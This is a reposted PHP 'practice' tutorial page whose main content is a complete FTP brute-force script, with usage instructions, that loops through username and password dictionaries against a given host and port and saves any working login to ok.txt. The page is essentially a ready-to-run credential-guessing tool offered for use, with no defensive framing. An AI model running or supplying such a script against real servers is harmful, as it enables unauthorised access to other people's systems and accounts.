Home >Backend Development >PHP Tutorial >Cracking FTP username and password (PHP practice work)_PHP tutorial

Cracking FTP username and password (PHP practice work)_PHP tutorial

WBOY
WBOYOriginal
2016-07-13 17:21:341549browse

//Usage: php this file.php FTP IP port user dictionary password dictionary, example: php ftp.php 192.168.8.10 21 user.dic pass.dic. You can change the number of seconds in sleep by yourself. After the breach is successful, the username and password will be saved in ok.txt in the same directory.


//Take different user names and N passwords respectively
$user=file($_SERVER["argv"][3]);
$pass=file($_SERVER["argv "][4]);
$countuser=count($user);
$countpass=count($pass);
$n=0;
do
{


for($i=0;$i<$countpass;$i=$i+1){
echo "$user[$n],$pass[$i]";
ftplogin($user[$n],$pass[$i]);//Call the ftp function
sleep(5);//To prevent ftp from crashing, pause for 5 seconds
Continue;
}
$n++;
}
while($n<$countuser);

//FTP function, after successful login, write the correct username and password to ok.txt in this directory
function ftplogin($username,$password){
//global $username, $password;
$host=$_SERVER["argv"][1];
$port=$_SERVER["argv"][2];
$conn = ftp_connect($host,$port);
if(!$conn){

echo "Unable to connect to FTP";
exit;
}
@ $result=ftp_login($conn,$username,$password);
if(!$result){
echo "error";
ftp_quit($conn);
}
else{
echo "--------------------- ------------->ok";
fputs(fopen(ok.txt,a+),"Username:".$username."Password:".$password);
}
}

?>

www.bkjia.comtruehttp: //www.bkjia.com/PHPjc/532404.htmlTechArticle?php //Usage: php this file.php FTP IP port user dictionary password dictionary, example: php ftp .php 192.168.8.10 21 user.dic pass.dic. You can change the number of seconds in sleep by yourself and burst it into...
Statement:
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn